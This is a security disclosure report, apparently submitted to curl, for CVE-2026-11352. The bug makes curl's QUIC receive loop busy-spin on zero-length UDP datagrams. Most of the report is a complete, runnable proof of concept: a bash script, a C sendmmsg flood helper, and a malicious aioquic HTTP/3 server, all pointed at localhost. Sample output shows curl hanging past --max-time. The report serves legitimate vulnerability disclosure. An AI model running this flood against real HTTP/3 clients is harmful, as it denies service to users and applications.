curl · Report #3783438
CVE-2026-11352: QUIC zero-length UDP datagrams busy-loop
How it was found
Summary:
curl's QUIC UDP receive helper ignores zero-length UDP datagrams before counting them against the per-call packet budget. On Linux, recvmmsg_packets() loops while pkts < max_pkts, but if(!mmsg[i].msg_len) continue; runs before pkts is incremented. The recvmsg_packets() backend has the same no-progress pattern for if(!nread) continue;. A malicious HTTP/3/QUIC peer can continuously send zero-length UDP datagrams to the connected QUIC socket and keep curl inside vquic_recv_packets(..., max_pkts=1000, ...). In my end-to-end CLI PoC with a real HTTP/3 server that completed the QUIC handshake before switching to zero-length datagrams, curl --http3-only --max-time 2 was still running after 30 seconds and had to be killed; the same setup also reproduced with WAIT_SECS=60 locally. The fallback recvfrom_packets() already counts a received datagram before skipping zero-length payloads, which indicates the safer intended budget accounting.
Affected version
Validated on Linux x86_64 with an HTTP/3-enabled curl built from the signed curl-8_20_0 release tag. In this repository snapshot the tag's curlver.h still reports 8.20.0-DEV, but the tag object is curl-8_20_0 with tag message 8.20.0.
curl -V from the reproduced build:
curl 8.20.0-DEV (Linux) libcurl/8.20.0-DEV OpenSSL/3.5.6 zlib/1.2.11 libpsl/0.21.0 ngtcp2/1.23.0 nghttp3/1.16.0
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns mqtt mqtts pop3 pop3s rtsp smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS HSTS HTTP3 HTTPS-proxy IPv6 Largefile libz PSL SSL threadsafe TLS-SRP UnixSockets
Source tags checked:
curl-8_18_0,curl-8_19_0, andcurl-8_20_0contain the vulnerable zero-length skip beforepktsis advanced inrecvmmsg_packets()andrecvmsg_packets().curl-8_17_0does not contain this same zero-length skip pattern.- Current master /
8.21.0-DEValso contains the pattern.
Relevant code in lib/vquic/vquic.c:
while(pkts < max_pkts) {
...
if(!mmsg[i].msg_len)
continue;
...
pkts += (mmsg[i].msg_len + gso_size - 1) / gso_size;
}
for(pkts = 0; pkts < max_pkts;) {
...
if(!nread)
continue;
...
pkts += (nread + gso_size - 1) / gso_size;
}
/* contrast: recvfrom_packets() */
++pkts;
if(!nread)
continue;
Steps To Reproduce:
Run the following self-contained CLI PoC on Linux. It does not call any repository-local PoC file and does not hook or modify curl. The script writes temporary helper sources under mktemp, compiles a sendmmsg()-based zero-length flood helper, starts a real aioquic HTTP/3 server, completes the QUIC handshake, sends a minimal HTTP/3 response byte, and then switches the same peer address/port to continuous zero-length UDP datagrams.
The script first tries CURL_BIN, then common in-tree HTTP/3 builds, then curl from PATH. By default it checks whether curl --http3-only --max-time 2 is still stuck after 30 seconds; WAIT_SECS=60 also reproduced locally. If aioquic / cryptography are missing, it tries python3 -m pip install --user aioquic cryptography service_identity automatically.
bash <<'BASH'
set -euo pipefail
CURL_BIN="${CURL_BIN:-}"
WAIT_SECS="${WAIT_SECS:-30}"
MAX_TIME="${MAX_TIME:-2}"
CONNECT_TIMEOUT="${CONNECT_TIMEOUT:-2}"
ZERO_FLOOD_HELPERS="${ZERO_FLOOD_HELPERS:-64}"
need() {
command -v "$1" >/dev/null 2>&1 || { echo "$1 is required" >&2; exit 2; }
}
need python3
need cc
pick_curl() {
local c
for c in \
"${CURL_BIN:-}" \
"$PWD"/build-http3-curl/src/curl \
"$PWD"/scratch/build-curl-8.20.0-http3/src/curl \
"$PWD"/build-*/src/curl \
"$(command -v curl 2>/dev/null || true)"; do
[ -n "$c" ] || continue
[ -x "$c" ] || continue
"$c" -V 2>/dev/null | grep -q 'HTTP3' || continue
printf '%s\n' "$c"
return 0
done
return 1
}
CURL_BIN="$(pick_curl || true)"
[ -n "$CURL_BIN" ] || {
echo "No HTTP/3-enabled curl binary found. Set CURL_BIN=/path/to/http3-curl." >&2
exit 2
}
TMPDIR="$(mktemp -d)"
SRV_PID=""
CURL_PID=""
trap 'set +e; [ -n "$CURL_PID" ] && kill "$CURL_PID" 2>/dev/null; [ -n "$SRV_PID" ] && kill "$SRV_PID" 2>/dev/null; rm -rf "$TMPDIR"' EXIT
if ! python3 - <<'PY' >/dev/null 2>&1; then
import aioquic # noqa: F401
import cryptography # noqa: F401
PY
if python3 -m pip --version >/dev/null 2>&1; then
echo "Installing Python deps: aioquic cryptography service_identity" >&2
python3 -m pip install --user aioquic cryptography service_identity
else
echo "Missing Python deps: aioquic and cryptography" >&2
exit 2
fi
fi
python3 - <<'PY' >/dev/null 2>&1 || {
import aioquic # noqa: F401
import cryptography # noqa: F401
PY
echo "Failed to import aioquic / cryptography after installation attempt" >&2
exit 2
}
cat > "$TMPDIR/sendmmsg_zero_flood_helper.c" <<'HELPER_C'
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <netinet/in.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#ifndef BATCH
#define BATCH 1024
#endif
static volatile sig_atomic_t stop_flag;
static void on_signal(int signo)
{
(void)signo;
stop_flag = 1;
}
int main(int argc, char **argv)
{
struct sockaddr_in peer;
struct iovec iov[BATCH];
struct mmsghdr msg[BATCH];
unsigned char dummy = 0;
unsigned long long sent_datagrams = 0;
unsigned long long send_calls = 0;
unsigned long long send_errors = 0;
int fd;
int i;
if(argc != 4) {
fprintf(stderr, "usage: %s <fd> <ip> <port>\n", argv[0]);
return 2;
}
signal(SIGTERM, on_signal);
signal(SIGINT, on_signal);
fd = atoi(argv[1]);
memset(&peer, 0, sizeof(peer));
peer.sin_family = AF_INET;
peer.sin_port = htons((uint16_t)atoi(argv[3]));
if(inet_pton(AF_INET, argv[2], &peer.sin_addr) != 1) {
perror("inet_pton");
return 2;
}
memset(msg, 0, sizeof(msg));
memset(iov, 0, sizeof(iov));
for(i = 0; i < BATCH; ++i) {
iov[i].iov_base = &dummy;
iov[i].iov_len = 0;
msg[i].msg_hdr.msg_iov = &iov[i];
msg[i].msg_hdr.msg_iovlen = 1;
msg[i].msg_hdr.msg_name = &peer;
msg[i].msg_hdr.msg_namelen = sizeof(peer);
}
while(!stop_flag) {
int rc = sendmmsg(fd, msg, BATCH, 0);
if(rc > 0) {
sent_datagrams += (unsigned)rc;
++send_calls;
}
else if(rc < 0) {
if(errno != EINTR) {
++send_errors;
if(errno == EAGAIN || errno == EWOULDBLOCK || errno == ENOBUFS)
usleep(100);
}
}
}
printf("PEER_STATS sent_datagrams=%llu send_calls=%llu send_errors=%llu\n",
sent_datagrams, send_calls, send_errors);
fflush(stdout);
return 0;
}
HELPER_C
cat > "$TMPDIR/server.py" <<'PY'
#!/usr/bin/env python3
import asyncio
import contextlib
import ipaddress
import os
import signal
import socket
import subprocess
import tempfile
from datetime import datetime, timedelta
from typing import Optional, Tuple
from aioquic.asyncio import QuicConnectionProtocol
from aioquic.asyncio.server import QuicServer
from aioquic.h3.connection import H3_ALPN, H3Connection
from aioquic.h3.events import HeadersReceived
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.events import HandshakeCompleted, ProtocolNegotiated, QuicEvent
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import NameOID
def make_cert_pair(tmpdir: str) -> Tuple[str, str]:
key = ec.generate_private_key(ec.SECP256R1())
subject = issuer = x509.Name(
[x509.NameAttribute(NameOID.COMMON_NAME, "localhost")]
)
cert = (
x509.CertificateBuilder()
.subject_name(subject)
.issuer_name(issuer)
.public_key(key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(datetime.utcnow() - timedelta(days=1))
.not_valid_after(datetime.utcnow() + timedelta(days=7))
.add_extension(
x509.SubjectAlternativeName(
[
x509.DNSName("localhost"),
x509.IPAddress(ipaddress.IPv4Address("127.0.0.1")),
]
),
critical=False,
)
.sign(key, hashes.SHA256())
)
cert_path = os.path.join(tmpdir, "cert.pem")
key_path = os.path.join(tmpdir, "key.pem")
with open(cert_path, "wb") as fp:
fp.write(cert.public_bytes(serialization.Encoding.PEM))
with open(key_path, "wb") as fp:
fp.write(
key.private_bytes(
serialization.Encoding.PEM,
serialization.PrivateFormat.PKCS8,
serialization.NoEncryption(),
)
)
return cert_path, key_path
class ZeroFloodProtocol(QuicConnectionProtocol):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self._http: Optional[H3Connection] = None
self._peer = None
self._flood_procs = []
self._flood_socks = []
self._attack_mode = False
def connection_made(self, transport):
super().connection_made(transport)
sock = transport.get_extra_info("socket")
if sock is not None:
sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 4 * 1024 * 1024)
def datagram_received(self, data, addr):
self._peer = addr
if self._attack_mode:
return
super().datagram_received(data, addr)
def quic_event_received(self, event: QuicEvent) -> None:
if isinstance(event, ProtocolNegotiated) and event.alpn_protocol in H3_ALPN:
self._http = H3Connection(self._quic)
self.transmit()
if self._http is not None:
for h3_event in self._http.handle_event(event):
if isinstance(h3_event, HeadersReceived) and not self._attack_mode:
self._http.send_headers(
h3_event.stream_id,
[
(b":status", b"200"),
(b"server", b"aioquic-zero"),
(b"content-type", b"text/plain"),
],
end_stream=False,
)
self._http.send_data(h3_event.stream_id, b"x", end_stream=False)
super().transmit()
self._attack_mode = True
self._start_flood()
self.transmit()
if isinstance(event, HandshakeCompleted):
print(f"HANDSHAKE_COMPLETED alpn={event.alpn_protocol}", flush=True)
def transmit(self) -> None:
if self._attack_mode:
return
super().transmit()
def close(self) -> None:
self._stop_flood()
super().close()
def _start_flood(self) -> None:
if self._peer is None or self._transport is None or self._flood_procs:
return
helper = os.environ["ZERO_FLOOD_HELPER"]
helpers = int(os.environ.get("ZERO_FLOOD_HELPERS", "64"))
bind_addr = self._transport.get_extra_info("socket").getsockname()
for _ in range(helpers):
flood_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
flood_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
if hasattr(socket, "SO_REUSEPORT"):
flood_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
flood_sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 4 * 1024 * 1024)
flood_sock.bind(bind_addr)
self._flood_socks.append(flood_sock)
proc = subprocess.Popen(
[helper, str(flood_sock.fileno()), self._peer[0], str(self._peer[1])],
pass_fds=(flood_sock.fileno(),),
)
self._flood_procs.append(proc)
print(f"ZERO_FLOOD_STARTED helper=sendmmsg helpers={helpers}", flush=True)
def _stop_flood(self) -> None:
for proc in self._flood_procs:
with contextlib.suppress(ProcessLookupError):
proc.terminate()
for proc in self._flood_procs:
with contextlib.suppress(subprocess.TimeoutExpired):
proc.wait(timeout=1.0)
for flood_sock in self._flood_socks:
with contextlib.suppress(OSError):
flood_sock.close()
self._flood_procs = []
self._flood_socks = []
async def main() -> int:
tmpdir = tempfile.mkdtemp(prefix="aioquic-zero-")
cert_path, key_path = make_cert_pair(tmpdir)
configuration = QuicConfiguration(alpn_protocols=H3_ALPN, is_client=False)
configuration.load_cert_chain(cert_path, key_path)
configuration.idle_timeout = 300.0
loop = asyncio.get_running_loop()
_, server = await loop.create_datagram_endpoint(
lambda: QuicServer(
configuration=configuration,
create_protocol=ZeroFloodProtocol,
session_ticket_fetcher=None,
session_ticket_handler=None,
retry=False,
stream_handler=None,
),
local_addr=("127.0.0.1", 0),
reuse_port=True,
)
print(f"PORT={server._transport.get_extra_info('sockname')[1]}", flush=True)
stop_event = asyncio.Event()
def stop(*_args):
stop_event.set()
with contextlib.suppress(NotImplementedError):
loop.add_signal_handler(signal.SIGTERM, stop)
loop.add_signal_handler(signal.SIGINT, stop)
await stop_event.wait()
server.close()
await asyncio.sleep(0)
return 0
if __name__ == "__main__":
raise SystemExit(asyncio.run(main()))
PY
cc -O2 -Wall -Wextra \
"$TMPDIR/sendmmsg_zero_flood_helper.c" \
-o "$TMPDIR/sendmmsg_zero_flood_helper"
echo "curl_bin=$CURL_BIN"
"$CURL_BIN" -V | sed -n '1,4p'
SRV_LOG="$TMPDIR/server.log"
CURL_ERR="$TMPDIR/curl.err"
CURL_OUT="$TMPDIR/curl.out"
PYTHONWARNINGS=ignore \
ZERO_FLOOD_HELPER="$TMPDIR/sendmmsg_zero_flood_helper" \
ZERO_FLOOD_HELPERS="$ZERO_FLOOD_HELPERS" \
python3 -u "$TMPDIR/server.py" >"$SRV_LOG" 2>&1 &
SRV_PID=$!
PORT=""
for _ in $(seq 1 200); do
if ! kill -0 "$SRV_PID" 2>/dev/null; then
echo "server exited before becoming ready" >&2
cat "$SRV_LOG" >&2 || true
exit 2
fi
PORT="$(sed -n 's/^PORT=//p' "$SRV_LOG" | head -n 1)"
[ -n "$PORT" ] && break
sleep 0.05
done
[ -n "$PORT" ] || {
echo "server did not print a port" >&2
cat "$SRV_LOG" >&2 || true
exit 2
}
URL="https://127.0.0.1:$PORT/"
START_S="$(date +%s)"
"$CURL_BIN" -q --http3-only --max-time "$MAX_TIME" --connect-timeout "$CONNECT_TIMEOUT" \
--noproxy '*' -k -sS "$URL" >"$CURL_OUT" 2>"$CURL_ERR" &
CURL_PID=$!
sleep "$WAIT_SECS"
if kill -0 "$CURL_PID" 2>/dev/null; then
CURL_STILL_RUNNING=1
kill -KILL "$CURL_PID" 2>/dev/null || true
wait "$CURL_PID" 2>/dev/null || true
CURL_EXIT="killed"
else
CURL_STILL_RUNNING=0
set +e
wait "$CURL_PID"
CURL_EXIT="$?"
set -e
fi
CURL_PID=""
END_S="$(date +%s)"
kill "$SRV_PID" 2>/dev/null || true
wait "$SRV_PID" 2>/dev/null || true
SRV_PID=""
echo "url=$URL"
echo "requested_max_time=$MAX_TIME"
echo "observed_seconds=$((END_S - START_S))"
echo "curl_still_running_after_${WAIT_SECS}s=$CURL_STILL_RUNNING"
echo "curl_exit=$CURL_EXIT"
sed -n '1,20p' "$SRV_LOG"
if [ -s "$CURL_ERR" ]; then
echo "curl_stderr_begin"
sed -n '1,20p' "$CURL_ERR"
echo "curl_stderr_end"
fi
if [ "$CURL_STILL_RUNNING" = "1" ] &&
grep -q '^HANDSHAKE_COMPLETED' "$SRV_LOG" &&
grep -q '^ZERO_FLOOD_STARTED' "$SRV_LOG"; then
echo "VULNERABLE: completed QUIC handshake and then zero-length UDP datagrams kept curl running past --max-time."
exit 0
fi
echo "NOT REPRODUCED"
exit 1
BASH
Example output from my local build-http3-curl/src/curl build:
curl_bin=/home/yanzhen/curl/curl/build-http3-curl/src/curl
curl 8.21.0-DEV (Linux) libcurl/8.21.0-DEV OpenSSL/3.5.6 zlib/1.2.11 libpsl/0.21.0 ngtcp2/1.23.0 nghttp3/1.16.0
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns mqtt mqtts pop3 pop3s rtsp smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS HSTS HTTP3 HTTPS-proxy IPv6 Largefile libz PSL SSL threadsafe TLS-SRP UnixSockets
url=https://127.0.0.1:50949/
requested_max_time=2
observed_seconds=30
curl_still_running_after_30s=1
curl_exit=killed
PORT=50949
HANDSHAKE_COMPLETED alpn=h3
ZERO_FLOOD_STARTED helper=sendmmsg helpers=64
PEER_STATS sent_datagrams=1106944 send_calls=1081 send_errors=0
PEER_STATS sent_datagrams=1084416 send_calls=1059 send_errors=0
...
VULNERABLE: completed QUIC handshake and then zero-length UDP datagrams kept curl running past --max-time.
The key property here is that the server is a real QUIC/H3 peer first and only
switches to zero-length UDP datagrams after the client has completed the
handshake and started HTTP/3. In my local validation, this same setup also kept
curl stuck past WAIT_SECS=60 before I killed it.
Impact
Summary:
A malicious HTTP/3/QUIC peer can remotely deny service to a curl/libcurl client by continuously sending zero-length UDP datagrams from the connected QUIC peer address. The datagrams are not valid QUIC packets, but the affected receive helpers consume them without counting them against max_pkts, so the current vquic_recv_packets() call can remain busy until the socket becomes empty or the process is externally killed. During that time normal transfer-level escape paths, including command-line --max-time / CURLOPT_TIMEOUT handling, do not get a chance to run because control does not return to the caller. For applications using libcurl in a single-threaded multi/event loop, this can also starve unrelated transfers or application work sharing the same loop. The attacker does not need memory corruption or authentication bypass; the impact is CPU/event-loop resource exhaustion and stuck transfers for HTTP/3/QUIC clients.